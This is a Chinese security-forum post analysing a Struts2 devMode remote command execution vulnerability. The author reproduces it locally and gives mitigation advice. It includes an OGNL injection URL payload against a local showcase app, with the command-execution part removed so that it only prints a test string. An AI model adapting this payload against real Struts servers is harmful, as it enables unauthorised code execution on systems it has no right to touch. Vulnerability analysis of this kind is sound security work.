黑帽联盟

 找回密码
 会员注册
查看: 1647|回复: 0
打印 上一主题 下一主题

[系统安全] Struts devMode 远程命令执行漏洞分析

[复制链接]
yun 黑帽联盟官方人员 

920

主题

37

听众

1364

积分

超级版主

Rank: 8Rank: 8

  • TA的每日心情
    奋斗
    2019-10-18 11:20
  • 签到天数: 678 天

    [LV.9]以坛为家II

    之前在知道创宇看到一个最新的struts漏洞,当时就震惊了(毕竟我当初也是java入门的)然后我朋友说在tools看到了利用工具,于是乎下载开始分析漏洞的来源,本地付现漏洞(不知道怎么付现的看我上一篇文章:https://bbs.cnblackhat.com/thread-1840-1-1.html

    从标题可以看出这个漏洞是触发在devMode上的,那么什么是devMode,看下面的百度
    struts2-2-300x245.png

    从百度可以大概知道这是一个开发者模式的开关,于是我本地搭建了一个struts的环境(2.5的版本,其他版本没有测试)在不开启devMode模式下测试效果如下:
    struts2-1-300x224.png
    struts2-3-300x190.png

    很明显没有检测出漏洞,于是我把devMode开启,再次检测

    struts2-4-300x155.png
    struts2-6-300x115.png
    struts2-5-300x190.png

    漏洞触发了,那么很明显这个漏洞是触发在devMode开启的模式下

    漏洞触发exp(我修改了过了原版的是直接执行远程命令我这里把命令执行去掉了):
    http://127.0.0.1:8080/struts2-showcase/index.action?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(%22this%20is%20print%20test%22)):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789

    最后总结这个漏洞的威力:
    1:触发条件devMode开启才行(这个模式大多数下不会有特别多的人去开启,不过有些公司还是开启了我自己开发的网站是从来没有开启过的)
    2:漏洞直接是在拦截器上触发的,也就是说利用方式和struts2 -032的利用方式相同(GET/POST提交都会触发到漏洞)
    3:只要网站开启了devMode模式那么有很大的几率中招所以危害还是很大的

    个人修补建议(非官网不是很有准确性):
    关闭devMode模式(因为我测试关闭了就无法触发到了,不过我没有深入研究可能不是特别准确)

    帖子永久地址: 

    黑帽联盟 - 论坛版权1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关
    2、本站所有主题由该帖子作者发表,该帖子作者与黑帽联盟享有帖子相关版权
    3、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者和黑帽联盟的同意
    4、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
    5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
    6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
    7、黑帽联盟管理员和版主有权不事先通知发贴者而删除本文

    您需要登录后才可以回帖 登录 | 会员注册

    发布主题 !fastreply! 收藏帖子 返回列表 搜索
    回顶部